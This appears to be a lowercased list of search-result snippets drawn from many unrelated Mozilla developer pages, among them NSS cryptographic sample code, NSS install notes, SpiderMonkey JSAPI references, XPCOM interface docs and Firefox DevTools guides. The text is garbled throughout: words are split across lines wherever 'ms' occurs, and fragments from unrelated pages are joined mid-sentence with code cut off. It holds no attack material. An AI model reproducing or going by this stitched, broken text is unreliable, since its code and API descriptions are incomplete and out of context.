ms); if (!context) { cout << "createdigestcontext failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestkey(context, key); if (s != secsuccess) { cout << "digestkey failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << "digestupdate failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len);...
... pk11_destroycontext(context, pr_true); context = 0; /* * part 3 - mac (with secret key) */ cout << "part 3 -- mac (with secret key)" << endl; /* initialize data */ me
mset(data, 0xbc, sizeof data); context = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, key, &nopara
ms); if (!context) { cout << "createcontextbysymkey failed" << endl; goto done; } s = pk11_digestbegin(context); if (s != secsuccess) { cout << "digestbegin failed" << endl; goto done; } s = pk11_digestop(context, data, sizeof data); if (s != secsuccess) { cout << "digestop failed" << endl; goto done; } s = pk11_digestfinal(context, digest, &len, sizeof digest); if (s != secsuccess) { cout << "digestfinal failed" << endl; goto done; } /* print digest */ printdigest(digest, len); ...
EncDecMAC using token object - sample 3
encdecmac using token object example: <h2 id="nss_sample_code_3_hashing.">nss sample code 3: enc/dec/mac using token object id.</h2> <p class="summary">computes the hash of a file and saves it to another file, illustrates the use of nss message apis.</p> <pre class="brush: cpp"> /* this source code form is subject to the ter
ms of the mozilla public * license, v.
... null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *
msg, unsigned int
msglen) { secstatus rv = pk11_digestop(ctx,
msg,
msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finalize macing */ secstatus macfinal(pk11context *ctx, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = pk11_digestfinal(ctx, mac, maclen, maxlen); if (rv != secsuccess) { pr_fprintf(pr_stde...
...ndmac */ secstatus encryptandmac(prfiledesc *infile, prfiledesc *headerfile, prfiledesc *encfile, pk11symkey *ek, pk11symkey *mk, unsigned char *iv, unsigned int ivlen, prbool ascii) { secstatus rv; unsigned char ptext[blocksize]; unsigned int ptextlen; unsigned char mac[digestsize]; unsigned int maclen; unsigned int nwritten; unsigned char encbuf[blocksize]; unsigned int encbuflen; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned int pad[1]; secitem paditem; unsigned int paddinglength; static unsigned int firsttime = 1; int j; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf(pr_stderr, "can't create mac context\n"); rv = secfailure; goto cleanup; } rv = macinit(ctxmac); if (...
...m) { secstatus rv; prfiledesc* infile; prfiledesc* outfile; unsigned char decbuf[64]; unsigned int decbuflen; unsigned char ptext[blocksize]; unsigned int ptextlen = 0; unsigned char ctext[64]; unsigned int ctextlen; unsigned char newmac[digestsize]; unsigned int newmaclen = 0; unsigned int newptextlen = 0; unsigned int count = 0; unsigned int temp = 0; unsigned int blocknumber = 0; secitem nopara
ms = { sibuffer, null, 0 }; pk11context *ctxmac = null; pk11context *ctxenc = null; unsigned char iv[blocksize]; unsigned int ivlen = ivitem->len; unsigned int filelength; unsigned int paddinglength; int j; memcpy(iv, ivitem->data, ivitem->len); paddinglength = (unsigned int)paditem->data[0]; ctxmac = pk11_createcontextbysymkey(ckm_md5_hmac, cka_sign, mk, &nopara
ms); if (ctxmac == null) { pr_fprintf...
Overview of NSS
nss includes a framework to which developers and oe
ms can contribute patches, such as assembler code, to optimize performance on their platfor
ms.
... nss 3.x has been certified on 18 platfor
ms.
...rsa standard that governs communication with cryptographic tokens (such as hardware accelerators and smart cards) and permits application independence from specific algorith
ms and implementations.
... rsa, dsa, ecdsa, diffie-hellman, ec diffie-hellman, aes, triple des, des, rc2, rc4, sha-1, sha-256, sha-384, sha-512, md2, md5, hmac: common cryptographic algorith
ms used in public-key and symmetric-key cryptography.
Installation guide
our makefiles also have an "install" target, but it has a different meaning: our "install" means installing the headers, libraries, and progra
ms in the appropriate directories under mozilla/dist.
... so right now you need to manually install the headers, libraries, and progra
ms in the directories you want.
...you can avoid that by installing the libraries in a directory that is $origin/../lib, where $origin is the directory where the progra
ms are installed.
...nspr: libnspr4.so libplds4.so libplc4.so nss: (note the use of * for libfreebl -- some platfor
ms have multiple ones) libfreebl*3.so libfreebl*3.chk libsoftokn3.so libsoftokn3.chk libnss3.so libsmime3.so libssl3.so libnssckbi.so ...
NSS Tools certutil
availability see the release notes for the platfor
ms this tool is available on.
...the format of thevalidity-time argument is "yymmddhhm
mss[+hhmm|-hhmm|z]".
...when specifying an explicit time, use "yymmddhhm
mssz".
... when specifying an offset time, use "yymmddhhm
mss+hhmm" or "yymmddhhm
mss-hhmm".
NSS tools : signtool
electronic software distribution over any network involves potential security proble
ms.
... to help address some of these proble
ms, you can associate digital signatures with the files in a jar archive.
... to avoid proble
ms, escape the quotation mark using the escape conventions for your platform.
...therefore, the information can be read from a file using the redirection operator (<) in some operating syste
ms.
Network Security Services
get the source code and build it instructions on how to build nss on the different supported platfor
ms.
...lists the cryptographic algorith
ms used by nss 3.11.
...ite discovery nss certificate download specification fips mode - an explanation format of key log files view all nss-related articles on mdn planning information on nss planning can be found at wiki.mozilla.org, including: fips validation nss roadmap page nss improvement project community view mozilla security foru
ms...
... mailing list newsgroup rss feed view mozilla cryptography foru
ms...
Exact Stack Rooting
this is used to make handles for things like scope chain objects, which aren't explicitly rooted the
mselves, but are always reachable from the implicit stack roots.
...this class solves two proble
ms: c++ only allows one level of user-defined implicit type conversion.
... to solve these proble
ms we have the js::mutablehandlet class.
...if you think you do need to do one of these, ask on one of spidermonkey's support foru
ms: maybe we've already solved your problem using a different mechanism.
Garbage collection
an arena is one page (4096 bytes on almost all platfor
ms) and contains an arenaheader, a few pad bytes, and then an array of aligned elements.
...the pauses can be set to be 10
ms or less.
... todo decent diagra
ms the basic problem is as follows (see dictionary for color ter
ms).
... dictionary of ter
ms black in common cs terminology, an object is black during the mark phase if it has been marked and its children are gray (have been queued for marking).
Invariants
(the jsval encoding depends on this.) the jsstackframe::down chain never for
ms a cycle.
... but note that a stack frame is not necessarily newer than the next stack frame down, thanks to generators!) an object's scope chain (found by chasing jsobject::fslots[jsslot_parent]) never for
ms a cycle.
...even if the function is native, there is serious trouble: js_newobject with null parent argument calculates the parent from cx->fp->scopechain, which can be stale if we're on trace.) the chain of properties starting at any jsshape and chasing jsshape::parent never for
ms a cycle and does not contain any duplicate jsscopeproperty::slot values other than -1.
...jsop_bindname perfor
ms this lookup.) the rules below (not exactly invariants) govern the bytecode emitted for nameexpressions.
Introduction to the JavaScript shell
this article explains how to use the shell to experiment with javascript code and run javascript progra
ms.
... built-in functions to make the javascript shell more useful, there are a number of built-in functions provided that you can use either from javascript progra
ms or in interactive mode.
...you can use this to create interactive shell progra
ms in javascript.
...this function only works with progra
ms loaded from files, either using the -f flag on launching the shell, or by using the load() function.
JS_THREADSAFE
requests in a js_threadsafe build, the application must separate code that uses the jsapi from code that perfor
ms blocking i/o or time-consuming calculations.
... these are actually the same rules that apply to single-threaded jsapi progra
ms.
... but in multithreaded progra
ms, if you break the rules, your program is more likely to crash.
... this is because in single-threaded progra
ms, a random call into the jsapi is actually pretty unlikely to trigger gc, especially if the calling thread has not been using up a lot of memory.
JSAPI reference
note: the foss wiki page contains a few links to other libraries and progra
ms that can make life easier when using spidermonkey and the jsapi.
...s_getinstanceprivate js_getprototype js_setprototype js_getprivate js_setprivate js_freezeobject added in spidermonkey 1.8.5 js_deepfreezeobject added in spidermonkey 1.8.5 js_isextensible added in spidermonkey 1.8.5 js_preventextensions added in spidermonkey 45 js_instanceof js_hasinstance js_isnative added in spidermonkey 17 js::toprimitiveadded in spidermonkey 45 js::newfunctionfro
mspecadded in spidermonkey 45 js_defaultvalueobsolete since jsapi 44 js_get_class obsolete since jsapi 13 js_sealobject obsolete since javascript 1.8.5 js_getparent obsolete since jsapi 39 js_setparent obsolete since jsapi 39 standard objects enum jsprotokey added in spidermonkey 24 js_getclassobject js_getclassprototype js::protokeytoid added in spidermonkey 38 js_idtoprotokey adde...
...d in spidermonkey 31 js::identifystandardinstance added in spidermonkey 31 js::identifystandardprototype added in spidermonkey 31 js::identifystandardinstanceorprototype added in spidermonkey 31 js::identifystandardconstructor added in spidermonkey 38 date js_newdateobject added in spidermonkey 1.8.5 js_newdateobject
msec added in spidermonkey 1.8.5 js_objectisdate added in spidermonkey 1.8.5 js_cleardatecaches added in spidermonkey 17 js_now intl api js_setdefaultlocale added in spidermonkey 24 js_resetdefaultlocale added in spidermonkey 24 properties these functions correspond directly to the ways scripts access object properties: js_getproperty js_getucproperty js_getpropertybyid added in spidermonkey 1.8.1 js_setproperty js_setucproperty js_setpropertybyid ad...
...te since jsapi 19 js_getfunctionname obsolete since javascript 1.8.5 creating functions: js::clonefunctionobject added in spidermonkey 36 js_definefunction js_defineucfunction js_definefunctionbyid added in spidermonkey 17 js_definefunctions enum propertydefinitionbehavior added in spidermonkey 38 js_newfunction js::getselfhostedfunction added in jsapi 31 js::newfunctionfro
mspec added in jsapi 45 js_newfunctionbyid added in spidermonkey 17 obsolete since jsapi 44 js_clonefunctionobject obsolete since jsapi 36 regexps js_newregexpobject jsreg_fold jsreg_glob jsreg_multiline jsreg_sticky js_newucregexpobject js_newregexpobjectnostatics js_newucregexpobjectnostatics js_setregexpinput js_clearregexpstatics js_objectisregexp added in sp...
TPS Tests
perfor
ms the specified actions in sequence.
...this will cause tps to set the firstsync pref to the relevant value before syncing, so that the described actionwill take place logger.loginfo(
msg) logs the given message to the tps log.
... logger.asserttrue(condition,
msg) asserts that condition is true, otherwise an exception is thrown and the test fails.
... logger.assertequal(val1, val2,
msg) asserts that val1 is equal to val2, otherwise an exception is thrown and the test fails.
Zest usecase: Reporting Security Vulnerabilities to Developers
when security tea
ms find vulnerabilities they typically describe them to developers using words, for example in a pdf or via a bug tracker.
...also security tea
ms often use tools which the developers do not have access to or have no experience with.
... and developers sometime fail to solve the underlying proble
ms.
... while it will still be necessary to describe vulnerabilities, zest allows security tea
ms to create reproducible test cases which they can then share with the developers.
Using the Places annotation service
setting an annotation the annotation provides a variety of scriptable and non-scriptable setters for annotations on both pages and on ite
ms in the places database (see nsiannotationservice.idl for the exact declarations).
...licit data type being saved: setpageannotationstring(auri, aname, avalue, aflags, aexpiration); setpageannotationint32(auri, aname, avalue, aflags, aexpiration); setpageannotationint64(auri, aname, avalue, aflags, aexpiration); setpageannotationdouble(auri, aname, avalue, aflags, aexpiration); setpageannotationbinary(auri, aname, adata, adatalen, aflags, aexpiration); and likewise for ite
ms in the places database: setitemannotationstring(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint32(aitemid, aname, avalue, aflags, aexpiration); setitemannotationint64(aitemid, aname, avalue, aflags, aexpiration); setitemannotationdouble(aitemid, aname, avalue, aflags, aexpiration); setitemannotationbinary(aitemid, aname, avalue, adatalen, aflags, aexpiration); from jav...
...ascript there are two simple function to perform all of these operations: setpageannotation(auri, aname, avalue, aflags, aexpiration); setitemannotation(aitemid, aname, avalue, aflags, aexpiration); these annotations all take similar parameters: uri or itemid: this is the nsiuri of the page to annotate, or for ite
ms in the places database, the id of the item.
...toragevaluearray.idl: after bug 377066 the value_type_* type handling was changed to this: type_int32 = 1 type_double = 2 type_string = 3 type_binary = 4 type_int64 = 5 try { var value = annotationservice.getpageannotation(uri, "my_extension/some_annotation"); } catch(e) { // annotation does not exist } other functions getpageswithannotation(aname, resultcount, results); getite
mswithannotation(aname, resultcount, results); retrieves a list of all pages/ite
ms with the given annotation.
XML Extras
the xml extras module is built by default on all platfor
ms, and is included in the browser installers so it is available in the nightly builds.
... begins with lower case letter xmlhttprequest creation new activexobject("
msxml2.xmlhttp") new xmlhttprequest() xmlhttprequest.send("some string") ok ok starting with milestone 0.9.7 (actually nightly 2001-11-28).
...the "workaround" is to use domparser object's parsefro
mstring() method to create a document from string, and pass the temporary document into send().
... nsido
mserializer (currently, the javascript constructor is xmlserializer()) nsidomparser (currently, the javascript constructor is domparser()) nsixmlhttprequest please see the xml linking and pointing section in xml in mozilla document for fixptr and xpointer documentation.
Creating the Component Code
for example, including nsicomponentmanager.idl without mozilla_strict_api defined will include the following headers, which are not supported across versions (unfrozen): nscomponentmanagerutils.h nscomponentmanagerobsolete.h these variables are picked up by files that do not specify the
mselves as mozilla_strict_api.
... irc irc.mozilla.org /join #developers /
msg firebot uuid this command makes the bot generate and return a uuid, which you can then copy into your component source code.
...this cid can be created via the tool uuidgen on most operating syste
ms, as in the many faces of the xpcom component manager above.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Using XPCOM Utilities to Make Things Easier
they are fairly complex because they support the gecko layout engine and other subsyste
ms that manage large chunks of data.
...the former handles double byte characters, and the latter tends to be used in more general circu
mstances, but both of these classes define the functionality of a string.
...the first thing to note is that the string classes the
mselves are not frozen, which means that you should not link against them when you can avoid it.
...this material may be distributed only subject to the ter
ms and conditions set forth in the open publication license, v1.02 or later.
Mozilla internal string guide
helper classes and functions converting cocoa strings use mozilla::copycocoastringtoxpco
mstring() in mozilla/macstringhelpers.h to convert cocoa strings to xpcom strings.
... nowadays, all supported platfor
ms have 16-bit literals using u""_ns, so we longer need to rely on macros for portability.
... do
mstring nsastring utf-16 string type used in the dom.
... the same as astring with a few odd xpconnect exceptions: when the special javascript value null is passed to a do
mstring parameter of an xpcom method, it becomes a void do
mstring.
Observer Notifications
user-interaction-active nsidomwindow null sent once every 5000
ms while this chrome document sees some kind of user activity (for example, keyboard or mouse events), and at the exact moment of the state transition from idle to active.
... this can happen multiple times, such as when the window first opens, when multiple ite
ms are removed, and when entering private browsing mode.
... this topic indicates when the extension manager perfor
ms some action.
... topic data description passwordmgr-found-form noautofillfor
ms a login is available for this form, but autofill of for
ms is disabled, so the form was not automatically filled out.
IAccessibleAction
1.0 66 introduced gecko 1.9 inherits from: iunknown last changed in gecko 1.9 (firefox 3) every accessible object that can be manipulated via the native gui beyond the methods available either in the
msaa iaccessible interface or in the set of iaccessible2 interfaces (other than this iaccessibleaction interface) should support the iaccessibleaction interface in order to provide assistive technology access to all the actions that can be performed by the object.
...the first action should be equivalent to the
msaa default action.
...doaction() perfor
ms the specified action on the object.
...there is no need to implement this method for single action controls since that would be redundant with the standard
msaa programming practice of getting the mnemonic from get_acckeyboardshortcut.
mozIStorageConnection
cstatement createasyncstatement(in autf8string asqlstatement); void createfunction(in autf8string afunctionname, in long anumarguments, in mozistoragefunction afunction); mozistoragestatement createstatement(in autf8string asqlstatement); void createtable(in string atablename, in string atableschema); mozistoragependingstatement executeasync([array, size_is(anu
mstatements)] in mozistoragebasestatement astatements, in unsigned long anu
mstatements, [optional] in mozistoragestatementcallback acallback ); void executesimplesql(in autf8string asqlstatement); boolean indexexists(in autf8string aindexname); void preload(); obsolete since gecko 1.9 void removefunction(in autf8string afunctionname); mozistorageprogres...
... mozistoragependingstatement executeasync( [array, size_is(anu
mstatements)] in mozistoragebasestatement astatements, in unsigned long anu
mstatements, in mozistoragestatementcallback acallback optional ); parameters astatements the array of statements to execute asynchronously.
... anu
mstatements the number of statements in astatements.
... warning: performing synchronous io on the main thread can cause serious performance proble
ms.
nsIAccessible
« gecko at interfaces page summary the nsiaccessible interface is a cross-platform interface that supports platform-specific accessibility apis like
msaa and atk.
...used for tree ite
ms, list ite
ms, tab panel labels, radio buttons, etc.
... doaction this method perfor
ms the accessible action at the given zero-based index.
...usually alt+letter, or just the letter alone for menu ite
ms.
nsIDragSession
(see nsidragservice) numdropite
ms unsigned long get the number of ite
ms that were dropped.
... aitemindex which of multiple drag ite
ms, zero-based.
... must be less than numdropite
ms.
...if numdropite
ms is greater than one, there is no indication as to which of the ite
ms matches the data flavor.
nsIEventListenerService
n nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsidomeventtarget aoutarray); void getlistenerinfofor(in nsidomeventtarget aeventtarget, [optional] out unsigned long acount, [retval, array, size_is(acount)] out nsieventlistenerinfo aoutarray); boolean haslistenersfor(in nsidomeventtarget aeventtarget, in do
mstring atype); void addsystemeventlistener(in nsidomeventtarget target, in do
mstring type, in nsidomeventlistener listener, in boolean usecapture); void removesystemeventlistener(in nsidomeventtarget target, in do
mstring type, in nsidomeventlistener listener, in boolean usecapture); attributes attribute type description ...
...boolean haslistenersfor( in nsidomeventtarget aeventtarget, in do
mstring atype ); parameters aeventtarget the nsidomeventtarget for which to check if this has any listener for atype.
...void addsystemeventlistener( in nsidomeventtarget target, in do
mstring type, in nsidomeventlistener listener, in boolean usecapture ); parameters target the nsidomeventtarget for the event target to listen an event.
...void removesystemeventlistener( in nsidomeventtarget target, in do
mstring type, in nsidomeventlistener listener, in boolean usecapture ); parameters target the nsidomeventtarget for the event target listening the event.
nsIInputStream
note: blocking input strea
ms are often read on a background thread to avoid locking up the main application thread.
... in addition to the number of bytes available in the stream, this method also infor
ms the caller of the current status of the stream.
... static ns_method appendsegment(nsiinputstream* astream, void* aclosure, const char* afro
msegment, uint32_t atooffset, uint32_t acount, uint32_t* awritecount) { // afro
msegment now contains acount bytes of data.
... nsacstring* pbuf = (nsacstring*) aclosure; pbuf->append(afro
msegment, acount); // indicate that we have consumed all of afro
msegment *awritecount = acount; return ns_ok; } // copy the contents of astream into aresultbuf as one contiguous // buffer.
nsIPrintingPrompt
tup(in nsiprintsettings printsettings, in nsiobserver aobs); void showprintdialog(in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings); void showprogress(in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings, in nsiobserver opendialogobserver, in boolean isforprinting, out nsiwebprogresslistener webprogresslistener, out nsiprintprogresspara
ms printprogresspara
ms, out boolean notifyonopen); methods showpagesetup() shows the print progress dialog.
...for example, some platfor
ms may implement an "apply" button.
... void showprogress( in nsiwebbrowserprint webbrowserprint, in nsiprintsettings printsettings, in nsiobserver opendialogobserver, in boolean isforprinting, out nsiwebprogresslistener webprogresslistener, out nsiprintprogresspara
ms printprogresspara
ms, out boolean notifyonopen ); parameters webbrowserprint represents the document to be printed.
... printprogresspara
ms parameter object for passing progress state.
nsIPushService
implemented by @mozilla.org/push/service;1 as a service: const pushservice = components.classes["@mozilla.org/push/service;1"] .getservice(components.interfaces.nsipushservice); method overview void subscribe(in do
mstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void getsubscription(in do
mstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback); void unsubscribe(in do
mstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback); methods subscribe() creates a push subscription.
... void subscribe( in do
mstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the serviceworkerregistration.scope for a service worker subscription, or a unique url (for example, chrome://my-module/push) for a system subscription.
... void getsubscription( in do
mstring scope, in nsiprincipal principal, in nsipushsubscriptioncallback callback ); parameters scope the unique scope url, as passed to nsipushservice.subscribe().
... void unsubscribe( in do
mstring scope, in nsiprincipal principal, in nsiunsubscriberesultcallback callback ); parameters scope the unique scope url, as passed to nsipushservice.subscribe().
nsISound
to use this interface, use: var sound = components.classes["@mozilla.org/sound;1"] .createinstance(components.interfaces.nsisound); method overview void beep(); void init(); void play(in nsiurl aurl); void playeventsound(in unsigned long aeventid); void playsyste
msound(in astring soundalias); constants sound event constants constant value description event_new_mail_received 0 the system receives email.
... playsyste
msound() plays the system sound whose name is specified.
...void playsyste
msound( in astring soundalias ); parameters soundalias two different types of names are supported: you can specify the name of a system sound provided by the host operating system; for example, if you specify "systemexclamation", you can play the windows alert sound, but it's played only on windows.
...if you wish to use this method for playing sounds, you should check the platform before you call playsyste
msound().
nsITextInputProcessor
boolean begininputtransactionfortests(in nsidomwindow awindow, [optional] in nsitextinputprocessorcallback acallback); void cancelcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean commitcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean commitcompositionwith(in do
mstring acommitstring, [optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean flushpendingcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); boolean getmodifierstate(in do
mstring amodifierkeyname); boolean keydown([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags)...
...; boolean keyup([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); void setcaretinpendingcomposition(in unsigned long aoffset); void setpendingcompositionstring(in do
mstring astring); void sharemodifierstateof(in nsitextinputprocessor aother); boolean startcomposition([optional] in nsidomkeyevent adomkeyevent, [optional] in unsigned long akeyflags); attributes attribute type description hascomposition boolean whether the instance has composition or not.
... boolean commitcompositionwith(in do
mstring acommitstring, in nsidomkeyevent adomkeyevent optional, in unsigned long akeyflags aoptional); parameters acommitstring the commit string.
... boolean getmodifierstate(in do
mstring amodifierkeyname); parameters amodifierkeyname a modifier key name which is defined by dom level 3 keyboardevents key values.
nsITransport
netwerk/base/public/nsitransport.idlscriptable this interface provides a common way of accessing i/o strea
ms connected to some resource.
... inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface provides methods to open blocking or non-blocking, buffered or unbuffered strea
ms to the resource.
... the name "transport" is meant to connote the inherent data transfer implied by this interface (that is, data is being transfered in some fashion via the strea
ms exposed by this interface).
... constant value description status_reading 0x804b0008 status_writing 0x804b0009 methods close() close the transport and any open strea
ms.
nsITreeView
to get the behavior where drops are only allowed on ite
ms, such as the mailnews folder pane, always return false when the orientation is not drop_on.
...to get the behavior where drops are only allowed on ite
ms, such as the mailnews folder pane, always return false from candropbeforeafter().
...to get the behavior where drops are only allowed on ite
ms, such as the mailnews folder pane, always return false from candropbeforeafter().
...to add properties for a particular row, you must use the nsiato
mservice to create an nsiatom string, which can then be appended to the array to alter the style (see also styling a tree) getrowproperties: function(index, properties) { var ato
mservice = components.classes["@mozilla.org/atom-service;1"].getservice(components.interfaces.nsiato
mservice); var atom = ato
mservice.getatom("dummy"); properties.appendelement(atom); } hasnextsibling() used to det...
nsIWebContentHandlerRegistrar
nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by @mozilla.org/embeddor.implemented/web-content-handler-registrar;1 as a service: var nsiwchr = cc["@mozilla.org/embeddor.implemented/web-content-handler-registrar;1"] .getservice(ci.nsiwebcontenthandlerregistrar); method overview void registercontenthandler(in do
mstring mimetype, in do
mstring uri, in do
mstring title, in nsidomwindow contentwindow) void registerprotocolhandler(in do
mstring protocol,in do
mstring uri, in do
mstring title, in nsidomwindow contentwindow) methods registercontenthandler summary of registercontenthandler void registercontenthandler( in do
mst...
...ring mimetype, in do
mstring uri, in do
mstring title, in nsidomwindow contentwindow ); parameters mimetype the desired mime type as a string uri the uri to the handler as a string.
... registerprotocolhandler summary of registerprotocolhandler void registerprotocolhandler( in do
mstring protocol, in do
mstring uri, in do
mstring title, in nsidomwindow contentwindow ); parameters protocol the protocol the site wishes to handle, specified as a string.
... examples register a webmail service as mailto handler the following code ai
ms to add "outlook.com live mail" to list of webservice handlers.
nsIWindowsRegKey
constants root key constants the values for these keys correspond to the values from winreg.h in the
ms platform sdk.
... the root_key_ prefix corresponds to the hkey_ prefix in the
ms platform sdk.
...the values defined here correspond to the regsam values defined in winnt.h in the
ms platform sdk, where access_ is replaced with key_.
...the numeric values of these constants are taken directly from winnt.h in the
ms platform sdk.
Reference Manual
in debug builds, if you subvert this invariant with one of the assignment for
ms that doesn't call queryinterface, nscomptr will assert at runtime in the bad assignment.
...unit tests the unit tests for nscomptr can be found in the file /xpcom/tests/testcomptr.cpp initialization and assignment built-in for
ms assignment into, or initialization of an nscomptr is easy to understand.
...foo3 = dont_addref(rawfoo3ptr); // the annotations described in the table apply to both for
ms of constructor, // and to plain-old assignment any of the annotations shown in the table can appear in all the positions demonstrated with dont_addref.
... // see
ms unlikely, you say?
XPCOM ABI
while xpcom components written in a scripting language (such as javascript) can be moved across platfor
ms (such as windows and os x) without adaptation, those written in a compiled language (such as c++) require recompilation when moving to a different platform.
... a binary xpcom component consists of an .xpt file which fits all platfor
ms and a dll (.dll on windows, .so on unix) which is platform-specific and has a certain abi.
... abi naming each abi is named with a string [target_xpcom_abi] of the following format: {cpu_arch}-{target_compiler_abi} {cpu_arch} [platfor
ms] represents the cpu architecture and may be either: x86 - i386 and higher series (including x86-64 cpus in 32-bit mode) ppc - powerpc series alpha - alpha series x86_64 - amd64/emt64 series in 64-bit mode (32-bit mode is still considered x86) sparc - sparc series ia64 - itanium series {target_compiler_abi}[platfor
ms] represents the compiler abi and may be either:
msvc - microsoft visual c++ n32 - iri...
... note: platfor
ms this is not an exhaustive list of possible cpu architectures and compiler abis.
Finding the code for a feature
as an example, i received the following inquiry, and i decided to follow my usual path and document what i do: hello i would like to add colours and tags to specific emails...by using nsi
msgtagservice, can this be done?
... here is my (edited) response: nsi
msgtagservice is used to store the list of valid tags, so it is not the correct way to tag messages.
...repeating this process, i see that the submenu ite
ms all call a function togglemessagetagmenu.
...(please don't do that guys, it really makes code search difficult!) so the answer the your question is, use the nsi
msgfolder method "addkeywordstomessages" (and now i remember that i knew that!).
customDBHeaders Preference
this is the superfluous.js file referenced from within the superfluous_overlay.xul file: dump(" ~ ~ ~ ~ superfluous ~ ~ ~ ~ \n"); var columnhandler = { getcelltext: function(row, col) { //get the messages header so that we can extract the 'x-superfluous' field var key = gdbview.getkeyat(row); var hdr = gdbview.db.get
msghdrforkey(key); var retval = hdr.getstringproperty("x-superfluous"); dump("x-superfluous: " + retval + "\n"); return retval; }, getsortstringforrow: function(hdr) { return hdr.getstringproperty("x-superfluous"); }, isstring: function() {return true;}, getcellproperties: function(row, col, props){}, getimagesrc: function(row, col) {return nul...
...l;}, getsortlongforrow: function(hdr) {return 0;} } function addcustomcolumnhandler() { gdbview.addcolumnhandler("colsuperfluous",columnhandler); dump("column handler being added: " + columnhandler + "\n"); } var createdbobserver = { // components.interfaces.nsiobserver observe: function(a
msgfolder, atopic, adata) { dump("here here!"); addcustomcolumnhandler(); } } function doonceloaded(){ var observerservice = components.classes["@mozilla.org/observer-service;1"].getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(createdbobserver, "
msgcreatedbview", false); window.document.getelementbyid('foldertree').addeventlistener("select",addcustomcolumnhandler,false); } window.addeventlistener("load",doonceloaded,false); dump(" ...
...~ ~ ~ ~ end superfluous ~ ~ ~ ~ \n"); important be aware that only messages that are added to the .
msf database after the customdbheaders pref is set will have the corresponding string property set on the
msghdr.
... if the .
msf file is rebuilt, all the
msghdrs should have the string property set correctly.
UI Tour - Firefox Developer Tools
the name of the selected directory is shown at the top of the source list pane; clicking this name reverts the pane to showing all source ite
ms.
... right-clicking in the call stack pane opens a context menu with the following ite
ms: restart frame restarts execution at the beginning of the current frame.
... enable framework grouping collects ite
ms belonging to a framework into a collapsible group (for example, jquery in the screenshot above).
...(to remove this restriction, choose unignore source in the context menu of the sources list or the source pane.) copy stack trace copies all ite
ms in the call stack (including their uris and line number) to the clipboard.
Debugger - Firefox Developer Tools
setting this flag to true is intended for uses of subsyste
ms of the debugger api (e.g, debugger.source) for purposes other than step debugging a target javascript program.
...however, the onnewglobalobject method allows the api user to monitor all global object creation that occurs anywhere within the javascript system (the “jsruntime”, in spidermonkey ter
ms), thereby escaping the capability-based limits.
...however, the addallglobalsasdebuggees method allows the api user to monitor all global object creation that occurs anywhere within the javascript system (the “jsruntime”, in spidermonkey ter
ms), thereby escaping the capability-based limits.
...however, findallglobals allows the api user to find all global objects anywhere within the javascript system (the “jsruntime”, in spidermonkey ter
ms), thereby escaping the capability-based limits.
DevTools API - Firefox Developer Tools
in ter
ms of user interface, each registered tool lives in its own tab (we call one tab a panel).
... in ter
ms of code, each tool has to provide a tooldefinition object.
... return value: a promise if the function perfor
ms asynchronous operations, otherwise undefined.
...the work for unifying the event paradig
ms is ongoing in bug 952653.
Network request details - Firefox Developer Tools
the tabs at the top of this pane enable you to switch between the following pages: headers messages (only for websocket ite
ms) cookies para
ms response cache timings security (only for secure pages) stack trace (only when the request has a stack trace, e.g.
...the resend button opens a menu with two ite
ms: resend: simply resends the request.
... para
ms tab this tab displays the get parameters and post data of a request: response tab the complete content of the response.
...in the above screenshot for example, the highlighted request's server-timing header contains 4 ite
ms — data, markup, total, and miss.
CSS Flexbox Inspector: Examine Flexbox layouts - Firefox Developer Tools
clicking the icon toggles the display of an overlay on the page, which appears over the selected flex container that displays an outline around each flex item: the overlay will still be shown when you select other elements from the inspector panel, so you can edit related css properties and see how the flex ite
ms are affected by your changes.
...once you select an element whose display is defined as flex, the panel will include a number of options for viewing details about the flex container and flex ite
ms within it.
... flex item properties the flex ite
ms within the flex container are displayed as a numbered list in the flex ite
ms section.
...ace minimum size (only appears when an item is clamped to its minimum size) - the minimum content size of a flex item when there is no more free space in the flex container final size - the size of the flex item after all sizing constraints imposed on it have been applied (based on the values of flex-grow, flex-shrink and flex-basis) at the top of the section is a drop-down list of all the ite
ms in the selected flexbox container: you can use this drop-down to select any of the other flex ite
ms in the flex container.
Work with animations - Firefox Developer Tools
both properties were initialized at 0
